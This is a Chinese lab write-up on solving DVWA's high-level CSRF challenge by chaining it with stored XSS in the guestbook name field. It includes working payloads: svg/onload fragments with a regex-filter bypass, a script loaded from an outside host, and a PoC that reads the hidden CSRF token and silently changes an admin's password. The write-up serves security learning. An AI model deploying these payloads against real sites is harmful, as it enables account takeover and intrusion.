内容简介:网上有很多关于CSRF High等级的通关记录,但是都有一个缺陷,没有做到自动触发修改密码。这里记录了我在解题时的思路,顺便分享出来抛砖引玉,希望大佬们不吝赐教哈(这里只是简单说明一下逻辑,本站已有前辈详细分析过源码)
*本文作者:F1tz,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
前言
网上有很多关于CSRF High等级的通关记录,但是都有一个缺陷,没有做到自动触发修改密码。这里记录了我在解题时的思路,顺便分享出来抛砖引玉,希望大佬们不吝赐教哈
0×00 简单分析一下CSRF后端逻辑
vulnerabilities\csrf\source\high.php
<?php if( isset( $_GET[ 'Change' ] ) ) { // 验证 Token 如果不正确则跳转到index.php // dvwa\includes\dvwaPage.inc.php:527 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); //...中间省略,只关注上下这两个函数... // 生成 Token , 使用了 md5( uniqid() ),所以几乎不可能猜测到Token值 // dvwa\includes\dvwaPage.inc.php:527 generateSessionToken(); ?>
(这里只是简单说明一下逻辑,本站已有前辈详细分析过源码)
由于使用了不可猜测到的token,所以我们首先想到的思路,就是找一个XSS漏洞来配合,先通过XSS获得token之后修改密码。
0×01 突破点 XSS-Stored
vulnerabilities\xss_s\source\high.php
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // strip_tags去除了HTML标签,htmlspecialchars 转义特殊字符&"<>为实体 $message = strip_tags( addslashes( $message ) ); ... $message = htmlspecialchars( $message ); // $name并没有像上面一样严格过滤,只用正则简单的做了剔除,导致了XSS的可能,但是有限制下面会说 $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); ... // 将$message、$name插入数据表 $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; ... //mysql_close(); } ?>
这里已经分析确认了$name可被我们利用做XSS,这样就可以配合CSRF来重置用户密码了。
需要先说明一下DVWA的数据库设计,guestbook表的name字段类型为varchar(100),也就是说最多name只能写入100个字符,超过的字符会被数据库抛弃不存储。
那么如何做到bypass呢,就是本文要表达的重点了。
0×02 前端先设置油猴脚本
由于DVWA前端的Name字段限制长度10个字符,而且测试过程中发包次数很多,每次都要修改长度就很烦,这里就可以让油猴代替我们修改,当然你也可以用Burpsuite发包,我这里只写了自己的测试方法。
BTW: 这里没有修改DVWA后端源码,以保证跟大家的代码一致。
// ==UserScript== // @name 改掉DVWA烦人的长度限制 // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author F1tz // @match http://dvwa.lab/vulnerabilities/xss_s/ // @grant none // ==/UserScript== (function() { 'use strict'; var N = document.getElementsByName('txtName'); var M = document.getElementsByName('mtxMessage'); N[0].maxLength=100; N[0].size=60; M[0].value=1; })();
安装脚本,并确保脚本处于启用状态。
这时候打开测试页面,就可以直接输入最多100个字符了,而且Message会自动填入1。
下面开始测试。
0×03 一次失败的尝试
构造payload:
先插入了一个iframe标签到留言板 <iframe src="../csrf"></iframe> 并在控制台执行测试payload语句 f=frames[0];t=f.document.getElementsByName('user_token')[0].value;i=document.createElement('img');i.src='../csrf/?password_new=admin&password_conf=admin&Change=Change&user_token='+t;
确认Payload可以成功,数据库查看密码确实修改为了admin,为了后边测试,我将密码修改回 password。
我开始想办法实现CSRF自动化修改密码,由于100个字符的限制,我将payload分成7份提交
<iframe src="../csrf"></iframe> <img src="x" onerror="f=frames[0];"> <img src="x" onerror="s='../csrf/?password_new=admin&password_conf=admin'"> <img src="x" onerror="s+='&Change=Change&user_token='"> <img src="x" onerror="t=f.document.getElementsByName('user_token')[0].value;"> <img src="x" onerror="i=document.createElement('img');"> <img src="x" onerror="i.src=s+t">
查看DOM,确认没有任何实体、转义。
当你全部提交完成后,一切都看起来很完美,感觉挺简单的嘛,但是。。。
但是就是无法执行成功,后来我在Console控制台发现了问题所在。
第一次报错
刷新后查看。
第二次报错
再次刷新。
第三次报错
几乎每次刷新都会有报错,非常小的概率能够执行成功,你会发现每次的报错都不同,每次都随机提示我某个变量未定义。
痛定思痛
猜测为执行时序不同导致的,尝试搜索相关解决方案,但是并没有找到相关准确结果。
后来尝试修改img onerror为svg/onload。
<iframe src="../csrf"></iframe> <svg/onload="f=frames[0]"> <svg/onload="s='../csrf/?password_new=admin&password_conf=admin'"> <svg/onload="s+='&Change=Change&user_token='"> <svg/onload="t=f.document.getElementsByName('user_token')[0].value"> <svg/onload="i=document.createElement('img')"> <svg/onload="i.src=s+t">
然而问题依旧,控制台里得到了同样的错误,但是我还是太蔡了,甚至尝试在onload事件内使用 ‘window.onload;’ ,依旧无法做到依次向下执行,理论上浏览器是会将HTML按照顺序向下渲染的,但是事件真是让我琢磨不定。
0×04 发现新曙光
我开始思考如何减少payload的数量,企图降低错误概率。
这个时候我发现可以通过拼接出一个script来引入外部js。
<svg/onload="s='scrip'"> <svg/onload="j=document.createElement(s+'t')">
在此之后我想到大佬说的事件内可以解析ASCII编码后的字符串。
script编码后为: <svg/onload="s=' '">
这样就可以绕过后端的正则过滤(感叹:真是太蔡了,早先怎么没想到啊 )。
于是payload就减少到了4个。
<svg/onload="s=' '"> <svg/onload="j=document.createElement(s)"> <svg/onload="j.src='http://192.168.224.1/x.js'"> <svg/onload="document.body.appendChild(j)">
为了方便测试,在 x.js 里只写了 alert(‘HelloDVWA’)。
发现成功了!!!x.js 被成功加载了。
可是老问题依然存在。
设想如果管理员只登陆刷新一次留言板,这样的成功率并不能够然人满意,我又开始另想办法了。
0×05 办法总比问题多
我就在想,既然跟时序有关,我可以延时吧,让它们每一句等待的时间不同,就可以人工干预执行时序了。
于是payload变成了这样:
<svg/onload="setTimeout(function(){s=' '},3000)"> <svg/onload="setTimeout(function(){j=document.createElement(s)},4000)"> <svg/onload="setTimeout(function(){j.src='http://192.168.224.1/x.js'},5000)"> <svg/onload="setTimeout(function(){document.body.appendChild(j)},6000)">
两个账户、两个浏览器(chrome、firefox)都测试成功,且多次成功,没有再报错了。
能够确认有效之后,便修改x.js。
PoC 如下:
ifr = document.createElement('iframe'); ifr.src="../csrf"; ifr.hidden=1; document.body.appendChild(ifr); setTimeout(function(){f=frames[0];t=f.document.getElementsByName('user_token')[0].value;i=document.createElement('img');i.src='../csrf/?password_new=admin&password_conf=admin&Change=Change&user_token='+t;},3000)
流程如图:
当管理员访问留言板(XSS-Stored)时候:
1、会先加载x.js
2、x.js内的脚本内容,会创建一个隐藏的iframe标签到DOM
3、等待iframe创建完成之后,便通过创建一个img标签,自动触发修改密码的请求
0×06 写在最后
虽然这只是DVWA的一道题,从中可以看出来如果不过滤标签、不转义特殊字符,后果是很严重的。
本篇文章只是记录了我的解题思路、流程,因为目前还是属于蔡鸡级别, 所以文章中难免有疏忽的地方,欢迎各路大佬指点一二
*本文作者:F1tz,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。